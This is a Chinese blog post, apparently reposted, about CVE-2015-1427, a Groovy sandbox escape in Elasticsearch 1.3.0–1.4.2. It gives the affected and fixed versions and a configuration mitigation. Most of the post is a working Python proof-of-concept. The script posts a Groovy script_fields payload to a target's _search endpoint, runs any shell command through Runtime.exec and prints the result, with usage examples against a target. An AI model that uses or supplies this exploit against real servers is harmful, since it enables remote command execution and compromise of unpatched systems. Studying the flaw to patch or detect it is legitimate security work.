ElasticSearch Groovy远程代码执行漏洞(CVE-2015-1427)POC

ElasticSearch是一个JAVA开发的搜索分析引擎.

2014年爆出的(CVE-2014-3120),由于搜索引擎支持使用脚本代码(MVEL)作为表达式进行数据操作,攻击者可以通过MVEL构造执行任意Java代码,后来脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行。

这次轮到的Groovy,影响版本是Elasticsearch 1.3.0-1.3.71.4.0-1.4.2 的Groovy 脚本引擎存在漏洞。

这个漏洞允许攻击者构造Groovy脚本绕过沙箱检查执行shell命令。
  已修复的版本是Elasticsearch 1.3.8 和 1.4.3,建议用户更新到最新版本。

当然如果你不想升级版本也可以通过修改elasticseach.yml的 script.groovy.sandbox.enabled 为 false就行了。

Python写的POC

 1 #!/usr/bin/env python
 2 #-*-coding:utf-8-*-
 3 import urllib
 4 import urllib2
 5 import json
 6 import sys
 7 def execute(url,command):
 8 parameters = {
 9                 "size":1,
10                 "script_fields":
11                 {"iswin":
12                         {
13                             "script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).\newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.\class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"%s\").\getInputStream())).readLines()" % command,
14                             "lang": "groovy"
15                         }
16                 }
17             }
18 data = json.dumps(parameters)
19 try:
20     request=urllib2.Request(url+"_search?pretty",data)
21     request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36')
22     response=urllib2.urlopen(request)
23     result = json.loads(response.read())["hits"]["hits"][0]["fields"]["iswin"][0]
24 for i in result:
25     print i
26 except Exception, e:
27     print e
28 if __name__ == '__main__':
29     if len(sys.argv) != 3:
30         print "usage %s url command" % sys.argv[0]
31     else:
32         execute(sys.argv[1],sys.argv[2])
View Code

用法:

1. python Elasticsearch.py target ifconfig
2. python Elasticsearch.py target 'uname -a'

 

 

 

转载于:https://www.cnblogs.com/sxmcACM/p/4435842.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值